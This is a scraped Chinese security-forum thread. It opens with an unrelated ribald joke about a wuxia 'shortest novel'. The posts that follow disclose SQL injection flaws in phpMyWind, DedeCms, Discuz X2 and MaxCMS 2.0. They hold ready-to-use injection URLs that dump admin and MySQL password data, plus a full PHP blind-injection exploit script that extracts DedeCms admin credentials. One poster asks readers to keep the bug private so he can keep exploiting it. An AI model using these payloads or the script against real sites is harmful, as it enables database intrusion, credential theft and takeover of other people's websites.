返回列表 发帖

史上最值得发奖的小说,推荐阅读!

小说要求:
1、要同时涉及3大门派
2、要包含江湖门派间多年恩怨情仇,又要打破世俗伦理。
3、同时情节还要扣人心悬,大有血雨腥风呼之欲来。令人极为期待该小说之续集,同时
留下n多悬念。
4、越短越好

第2天,有人来投稿,全文只有十个字:
秃驴,竟敢跟贫道抢师太 !
编辑复语:恩怨情仇,血雨腥风确有,且短小精悍,n多悬念,但侠骨有余,柔情不足。虽江
湖儿女,但也有柔情万种。

第3天,修改稿:
师太,你就放弃秃驴从了贫道吧!
编辑又语:江湖儿女,柔情尽显,缠绵悱恻。但仍拘泥世俗伦理。

第4天,第三稿:
师太,你竟敢跟贫道抢秃驴!
编辑三思,语:打破世俗伦理之作,血雨腥风也呼之欲来,扣人心弦,悬念n多,但总是少点
什么。。。

第5天,终结稿:
和尚:"师太,你从了和尚吧!"
道长:"秃驴,竟敢跟贫道抢师太!"
师太:"和尚、道长你们一起上吧,我赶时间。"
编辑兴奋ing,语:前无古人,后无来者之完美杰作。既有难以理清的多年门派恩怨,大有
血雨腥风呼之欲来之势;又有纠葛的侠骨柔情,既打破世俗伦理,又尽显江湖儿女不拘小
节之豪气干云。旷世巨制!!

 

您可能还想看的主题:

清理部分无效链接,如有误请及时联系管理组(2012,4,28更新)

有人的地方就有江湖 内网安全以人为本

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:webmaster发表,本帖发表者webmaster符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者webmaster和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

phpMyWind注入绕过知道创宇补丁
改完ID后第一次发帖,本来是说改个东邪,和西毒一起搞基的,谁知这货居然消失了,╮(╯▽╰)╭。
最近看知道创宇在微博上各种转发这个漏洞,就跑去T00Ls看了下,谁知看着看着,看到了另一个注入点,这尼玛人品也太好了O(∩_∩)O。
这个漏洞暂时我还想先玩一阵,所以各位先不要发到外面。
废话不多说了,看正文吧。
0x01 漏洞原理


漏洞在shoppingcart.php文件大约152行处:


<?php
  
                //初始化参数
                $totalprice = '';
                $shoppingcart = unserialize(AuthCode($_COOKIE['shoppingcart']));
  
                //显示订单列表
                foreach($shoppingcart as $k=>$goods)
                {
                ?>
                <tr>
                        <td height="30">
                        <?php
  
                        //获取数据库中商品信息
                        $r = $dosql->GetOne("SELECT * FROM `#@__goods` WHERE `id`=".$goods[0]);
//省略部分代码
可以从代码开始部分看到,$goods变量是从cookie中取出的shoppingcart字段值直接反序列化后的内容,没有进行任何的过滤和校验。
0x02 利用分析
我们先来整理下我们目前所获得的信息,我们可以通过控制cookie中的shoppingcart字段值来向代码中传入自定义内容,这部分内容是一个数组,并且第一个元素会没有经过任何校验和过滤带入到SQL查询中。
但是cookie中的这个字段会进行AuthCode的解码处理,这个处理需要用到服务端所使用到的key,这是我们无法获得的,所以我们需要找一个地方将我们所自定义的内容继续进行AuthCode的编码处理。我是怎么找到这个地方的呢?且听我慢慢到来。
这个漏洞是在看T00ls社区M3loee所公布的《T00ls元旦献礼之一:PhpMyWind SQL Injection 0day》时发现的。所以我们先来看下这个漏洞出现问题的分支部分代码:


if($a == 'addshopingcart')
{
  
         //省略部分代码
         
        //初始化购物车字符串
        if(!empty($_COOKIE['shoppingcart']))
                $shoppingcart = unserialize(AuthCode($_COOKIE['shoppingcart']));
        else
                $shoppingcart = array();
  
  
        //选中信息存入数组
        if(isset($goodsid) &amp;&amp;
           isset($buynum) &amp;&amp;
           isset($goodsattr))
        {
                $shoppingcart[] = array($goodsid, $buynum, $goodsattr);
        }
  
  
        //存入COOKIE
        setcookie('shoppingcart', AuthCode(serialize($shoppingcart),'ENCODE'));
        echo TRUE;
        exit();
}//省略部分代码
看到setcookie那行,就是对$shoppingcart变量内容进行序列化并发送至cookie。而phpMyWind的参数传递风格是使用for循环将GET和POST参数进行变量化的,就像DeDecms一样。这样的话,$goodsid、$buynum和$goodsattr三个变量的内容是可以控制的。再看$shoppingcart变量的赋值,可以发现之前那段代码中的goods[0]就是这里的$goodsid。
到这里我们重新整理下思路,在addshopingcart这个分支中,通过提交goodsid参数向$shoppingcart[0]中赋值,然后$shoppingcart被序列化发送到客户端。客户端再次访问这个页面,并发送刚刚得到的cookie,服务端将shoppingcart的值进行发序列化,并将数组中第一个元素的值带入到SQL查询中。
这样如果我们向goodsid中传递带有恶意查询的内容,就会造成SQL注入问题。并且我们还在后面的页面输出中发现这样一行代码:




echo '<a href="goodsshow.php?cid='.$r['classid'].'&amp;tid='.$r['typeid'].'&amp;id='.$r['id'].'" class="title" target="_blank">'.$r['title'].'</a>';
也就是说我们可以将注入结果放置到title这个字段中,就可以直接获取SQL查询的回显了,不再需要报错或者盲注了。
0x03 漏洞重现
首先访问




http://www.sitedirsec.com/shoppingcart.php?a=addshopingcart&amp;goodsid=1 and @`'` /*!50000union*/ select null,null,null,null,null,null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from mysql.user where 1=1 or @`'`&amp;buynum=1&amp;goodsattr=tpcs
然后访问


http://www.sitedirsec.com/phpmywind4.6.6/shoppingcart.php
,获取注入信息


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

dedecms注射漏洞
漏洞说明:DedeCms由2004年到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。
漏洞厂商:http://www.dedecms.com漏洞解析:在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下
-------------------------------------------------------if(empty($orderby)) $orderby = 'pubdate';
//重载列表if($dopost=='getlist'){PrintAjaxHead();GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数$dsql->Close();exit();……function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){global $cfg_phpurl,$cfg_ml;$jobs = array();$start = ($pageno-1) * $pagesize;
$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");$dsql->Execute();//orderby 带入数据库查询……----------------------------------------------------------
漏洞利用:80sec提供攻击测试代码如下(如果发现代码无法测试,请访问80sec官方的txt文档):
<?print_r('--------------------------------------------------------------------------------DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploitBY Flyh4twww.wolvez.orgThx for all the members of W.S.T and my friend Oldjun--------------------------------------------------------------------------------');
if ($argc<3) {print_r('--------------------------------------------------------------------------------Usage: php '.$argv[0].’ host pathhost: target server (ip/hostname)path: path to DEDEcmsExample:php ‘.$argv[0].’ localhost /——————————————————————————–‘);die;}
function sendpacketii($packet){global $host, $html;$ock=fsockopen(gethostbyname($host),’80′);if (!$ock) {echo ‘No response from ‘.$host; die;}fputs($ock,$packet);$html=”;while (!feof($ock)) {$html.=fgets($ock);}fclose($ock);}
$host=$argv[1];$path=$argv[2];$prefix=”dede_”;$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/')){echo ‘Error… check the path!’; die;}
/*get $prefix*/$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&amp;pageno=1&amp;orderby=11′ HTTP/1.0
”;$packet.=”Host: “.$host.”
”;$packet.=”Cookie: “.$cookie.”
”;$packet.=”Connection: Close

”;sendpacketii($packet);if (eregi(”in your SQL syntax”,$html)){$temp=explode(”From “,$html);$temp2=explode(”member”,$temp[1]);if($temp2[0])$prefix=$temp2[0];echo “[+]prefix -> “.$prefix.”
”;}
$chars[0]=0;//null$chars=array_merge($chars,range(48,57)); //numbers$chars=array_merge($chars,range(97,102));//a-f lettersecho “[~]exploting now,plz waiting
”;
/*get password*/$j=1;$password=”";while (!strstr($password,chr(0))){for ($i=0; $i<=255; $i++){if (in_array($i,$chars)){$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&amp;pageno=1&amp;”.$sql.” HTTP/1.0
”;$packet.=”Host: “.$host.”
”;$packet.=”Cookie: “.$cookie.”
”;$packet.=”Connection: Close

”;sendpacketii($packet);if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”
”;break;}}if ($i==255) {die(”Exploit failed…”);}}$j++;}
/*get userid*/$j=1;$admin=”";while (!strstr($admin,chr(0))){for ($i=0; $i<=255; $i++){$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&amp;pageno=1&amp;”.$sql.” HTTP/1.0
”;$packet.=”Host: “.$host.”
”;$packet.=”Cookie: “.$cookie.”
”;$packet.=”Connection: Close

”;sendpacketii($packet);if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”
”;break;}if ($i==255) {die(”Exploit failed…”);}}$j++;}
print_r(’——————————————————————————–[+]userid -> ‘.$admin.’[+]pwd(md5 24位) -> ‘.$password.’——————————————————————————–‘);function is_hash($hash){if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}else {return false;}}if (is_hash($password)) {echo “Exploit succeeded…”;}else {echo “Exploit failed…”;}?>
利用代码:dedecmsv5.rar


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

传说中的DISCUZ X2 SQL注入0day
文件:sourcemoduleforumforum_/bbs/attachment.php



if(!defined(IN_DISCUZ)) {
exit(Access Denied);
}
define(NOROBOT TRUE);
@list($_G[gp_aid] $_G[gp_k] $_G[gp_t] $_G[gp_uid] $_G[gp_tableid]) = explode(| base64_decode($_G[gp_aid]));

if(!empty($_G[gp_findpost]) &amp;&amp; ($attach = DB::fetch_first(SELECT pid tid FROM .DB::table(forum_attachment). WHERE aid=$_G[gp_aid]))) {
dheader(location: forum.php?mod=redirect&amp;goto=findpost&amp;pid=.$attach[pid].&amp;ptid=.$attach[tid]);
}复制代码变量aid 直接base64_decode 后传入 SQL查询,造成注射漏洞。。。http://www.sitedirsec.com/forum.php?mod=attachment&amp;findpost=ss&amp;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D转向后网址http://www.sitedirsec.com/forum.php?mod=redirect&amp;goto=findpost&amp;pid=1&amp;ptid=pre_common_admincp_member暴出表名 pre_common_admincp_member实际查询为:



$x=1 and 1=2 union all select 1TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like %_member|x|x|x|x;
//die (urlencode(base64_encode($x))); 复制代码


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

马克斯CMS2.0beta (maxcms)SQL注入漏洞
关键字:首页-马克斯CMS2.0 这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。 看代码 incajax.asp dim action : action = getForm("action", "get") response.Charset="gbk" Select  case action     case "newslist" : viewNewsList     case "newscontent" : viewNewsContent     case "digg","tread" : scoreVideo(action)     case "reporterr" : reportErr     case "hit" : updateHit     case else : main End Select terminateAllObjects …… Sub scoreVideo(operType)     dim sql,id,digg,returnValue : id=getForm("id","get")     ‘通过get方式获取id的值     if rCookie("maxcms2_score"&amp;id)="ok" then die "havescore"     if isNul(id) then die "err"     'on error resume next     digg=conn.db("select m_digg from {pre}data where m_id="&amp;id,"execute")(0)     ‘ 参数id,没有过滤就带入sql语句进行查询     if err then digg=0 : err.clear()     if not isNum(id) then echoSaveStr "safe" else id=clng(id)     ‘ 查询到digg,注意返回的内容 ……利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告 你提交的数据有非法字符,你的IP【xxxx】已被记录,操作 构造的语句不正确,则返回500 Poc : 正确的: http://demo.maxcms.net/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97     不正确的: http://demo.maxcms.net/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99其实随便找个注射工具跑一下就ok了

另外一处注射 Sub checkPower     dim loginValidate,rsObj : loginValidate = "maxcms2.0"     err.clear     on error resume next     set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&amp;rCookie("m_username")&amp;"'","execute")     loginValidate = md5(getAgent&amp;getIp&amp;rsObj(0))     if err then wCookie "check"&amp;rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"     if rCookie("check"&amp;rCookie("m_username"))<>loginValidate then wCookie "check"&amp;rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"     checkManagerLevel  rsObj(1)     set rsObj=nothing End Sub其中 Function rCookie(cookieName)     rCookie = request.cookies(cookieName) End Function通过伪造cookie中m_username的值可以进行注射 不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数 比如 /admin/admin_ajax.asp 因为sql检测过滤的时候是关键字判断  可是很多重要的关键字后面又加上了个个空格 这样就可以通过寂寞的刺猬发现的用()替代空格的方法绕过 http://localhost/play.asp?id=-999+union(select(password),2,3,4,5,6,7,8,9,0,1+from+[zt_admin]) http://localhost/play.asp?id=-999+union(select(adminname),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表